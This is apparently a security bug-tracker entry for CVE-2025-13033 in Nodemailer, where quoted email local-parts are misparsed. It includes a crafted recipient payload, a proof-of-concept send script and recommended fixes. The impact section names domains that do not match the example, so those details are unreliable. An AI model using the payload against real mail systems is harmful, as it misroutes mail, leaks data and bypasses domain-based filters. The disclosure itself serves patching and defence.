Bug 2402179 (CVE-2025-13033, GHSA-mm7p-fcc7-pg87) - CVE-2025-13033 nodemailer: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
Summary: CVE-2025-13033 nodemailer: Nodemailer: Email to an unintended domain can occu...
Keywords:
Status: NEW
Alias: CVE-2025-13033, GHSA-mm7p-fcc7-pg87
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Product Security DevOps Team
QA Contact:
URL:
Whiteboard:
Depends On: 2415072
Blocks:
TreeView+ depends on / blocked
 
Reported: 2025-10-07 15:03 UTC by OSIDB Bzimport
Modified: 2025-11-14 19:31 UTC (History)
25 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2025-10-07 15:03:37 UTC
The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: `"xclow3n x"@internal.domain`
Using the following code to send mail
```
const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email>', 
  to: "\"xclow3n x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();
```

Running the script and seeing how this mail is parsed according to RFC

```
Parsed email: {
  address: '"xclow3n x"@internal.domain',
  local: '"xclow3n x"',
  domain: 'internal.domain'
}
```

But the email is sent to `xclow3n`

<img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" />


### Impact:

-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.

-    Domain based access control bypass in downstream applications using your library to send mails

### Recommendations

-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.


Note You need to log in before you can comment on or make changes to this bug.